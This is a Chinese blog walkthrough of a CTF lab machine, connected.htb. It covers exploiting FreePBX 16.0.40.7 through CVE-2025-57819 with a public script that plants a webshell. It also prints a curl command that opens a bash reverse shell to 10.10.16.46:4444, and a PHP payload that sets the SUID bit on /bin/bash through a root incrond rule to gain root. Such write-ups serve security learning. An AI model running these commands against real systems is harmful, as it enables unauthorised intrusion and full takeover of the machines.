本文最后更新于14 天前,其中的信息可能已经过时,如有错误请发送邮件到mxc_1218@qq.com
0x01 初步探测
1. nmap 扫描
开放了 22 80 443 端口
2. web 页面
进入 web 页面查看发现会重定向到 connected.htb 这给域名,将域名映射加入 /etc/hosts
进入 web 页面
进行一下指纹收集
可以看到是 FreePBX 16.0.40.7
0x02 立足点
在浏览器上进行搜索
可以看到 CVE-2025-57819 是一个通过参数 sql 注入直接 rce 的一个漏洞
在github上搜寻他的利用
我选择了 这一个利用
下载到 kali上运行
python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://connected.htb
可以看到程序把木马写入了一个文件
我们用它执行反弹 shell
curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3l43bbbhnv.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.46%2F4444%200%3E%261%27"
成功
0x03 提权
我会选择 在机器上跑 linpeas
在 Check for vulnerable cron jobs 这一栏中,我看到了
这些是 incrond
incrond是一个守护进程,类似crond,但它监听的是文件系统事件(如文件被修改、关闭写入等),而不是时间。
然后我去查看了所有的incrond规则,发现这些规则都是以root身份运行的
因为在 文件夹下只有root文件
所以我们可以想办法去查看那些因为文件变动运行的内容有没有提权的方法
因为在/var/spool/asterisk/目录下我们是可写的,可以稳定触发
其中这条比较突兀,我决定先查看这个文件
/usr/local/asterisk/ha_trigger IN_CLOSE_WRITE /usr/sbin/sysadmin_ha
文件中包含了 /var/www/html/admin/modules/freepbx_ha/license.php文件
于是我接着查看他,发现这个文件他并不存在,或许我可以创建这个文件来劫持
我选择在这个文件中写入
<?php
system('chmod u+s /bin/bash');
exit;
?>
然后更改 ha_trigger 来触发运行
成功提权